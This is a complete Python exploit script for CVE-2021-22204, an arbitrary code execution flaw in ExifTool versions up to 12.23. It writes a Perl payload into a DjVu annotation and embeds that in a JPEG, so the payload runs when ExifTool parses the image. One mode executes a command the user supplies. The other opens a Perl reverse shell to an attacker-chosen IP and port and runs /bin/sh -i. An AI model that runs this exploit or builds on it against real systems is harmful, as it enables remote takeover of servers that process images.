1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 |
# Exploit Title: ExifTool 12.23 - Arbitrary Code Execution # Date: 04/30/2022 # Exploit Author: UNICORD (NicPWNs & Dev-Yeoj) # Vendor Homepage: https://exiftool.org/ # Software Link: https://github.com/exiftool/exiftool/archive/refs/tags/12.23.zip # Version: 7.44-12.23 # Tested on: ExifTool 12.23 (Debian) # CVE: CVE-2021-22204 # Source: https://github.com/UNICORDev/exploit-CVE-2021-22204 # Description: Improper neutralization of user data in the DjVu file format in ExifTool versions 7.44 and up allows arbitrary code execution when parsing the malicious image #!/usr/bin/env python3 # Imports import base64 import os import subprocess import sys # Class for colors class color: red = '\033[91m' gold = '\033[93m' blue = '\033[36m' green = '\033[92m' no = '\033[0m' # Print UNICORD ASCII Art def UNICORD_ASCII(): print(rf""" {color.red}_ __,~~~{color.gold}/{color.red}_{color.no}{color.blue}__________________________{color.no} {color.red},~~<code>( )_( )-\| {color.blue}/ / / / |/ /_/ ___/ __ \/ _ \/ _ \{color.no} {color.red}|/|</code>--. {color.blue}/ /_/ /// // /__/ /_/ / , _/ // /{color.no} {color.green}_V__v___{color.red}!{color.green}_{color.red}!{color.green}__{color.red}!{color.green}_____V____{color.blue}\____/_/|_/___/\___/\____/_/|_/____/{color.green}....{color.no} """) # Print exploit help menu def help(): print(r"""UNICORD Exploit for CVE-2021-22204 Usage: python3 exploit-CVE-2021-22204.py -c <command> python3 exploit-CVE-2021-22204.py -s <local-IP> <local-port> python3 exploit-CVE-2021-22204.py -c <command> [-i <image.jpg>] python3 exploit-CVE-2021-22204.py -s <local-IP> <local-port> [-i <image.jpg>] python3 exploit-CVE-2021-22204.py -h Options: -cCustom command mode. Provide command to execute. -sReverse shell mode. Provide local IP and port. -iPath to custom JPEG image. (Optional) -hShow this help menu. """) # Run the exploit def exploit(command): UNICORD_ASCII() # Create perl payload payload = "(metadata \"\c${" payload += command payload += "};\")" print(f"{color.red}RUNNING: {color.blue}UNICORD Exploit for CVE-2021-22204{color.no}") print(f"{color.red}PAYLOAD: {color.gold}" + payload + f"{color.no}") # Write payload to file payloadFile = open('payload','w') payloadFile.write(payload) payloadFile.close() # Bzz compress file subprocess.run(['bzz', 'payload', 'payload.bzz']) # Run djvumake subprocess.run(['djvumake', 'exploit.djvu', "INFO=1,1", 'BGjp=/dev/null', 'ANTz=payload.bzz']) if '-i' in sys.argv: imagePath = sys.argv[sys.argv.index('-i') + 1] subprocess.run(['cp',f'{imagePath}','./image.jpg','-n']) else: # Smallest possible JPEG image = b"/9j/4AAQSkZJRgABAQEASABIAAD/2wBDAAMCAgICAgMCAgIDAwMDBAYEBAQEBAgGBgUGCQgKCgkICQkKDA8MCgsOCwkJDRENDg8QEBEQCgwSExIQEw8QEBD/yQALCAABAAEBAREA/8wABgAQEAX/2gAIAQEAAD8A0s8g/9k=" # Write smallest possible JPEG image to file with open("image.jpg", "wb") as img: img.write(base64.decodebytes(image)) # Write exiftool config to file config = (r""" %Image::ExifTool::UserDefined = ( 'Image::ExifTool::Exif::Main' => { 0xc51b => { Name => 'HasselbladExif', Writable => 'string', WriteGroup => 'IFD0', }, }, ); 1; #end """) configFile = open('exiftool.config','w') configFile.write(config) configFile.close() # Exiftool config for output image subprocess.run(['exiftool','-config','exiftool.config','-HasselbladExif<=exploit.djvu','image.jpg','-overwrite_original_in_place','-q']) # Delete leftover files os.remove("payload") os.remove("payload.bzz") os.remove("exploit.djvu") os.remove("exiftool.config") # Print results print(f"{color.red}RUNTIME: {color.green}DONE - Exploit image written to 'image.jpg'{color.no}\n") exit() if __name__ == "__main__": args = ['-h','-c','-s','-i'] if args[0] in sys.argv: help() elif args[1] in sys.argv and not args[2] in sys.argv: exec = sys.argv[sys.argv.index(args[1]) + 1] command = f"system(\'{exec}\')" exploit(command) elif args[2] in sys.argv and not args[1] in sys.argv: localIP = sys.argv[sys.argv.index(args[2]) + 1] localPort = sys.argv[sys.argv.index(args[2]) + 2] command = f"use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));if(connect(S,sockaddr_in({localPort},inet_aton('{localIP}')))){{open(STDIN,'>&S');open(STDOUT,'>&S');open(STDERR,'>&S');exec('/bin/sh -i');}};" exploit(command) else: help() |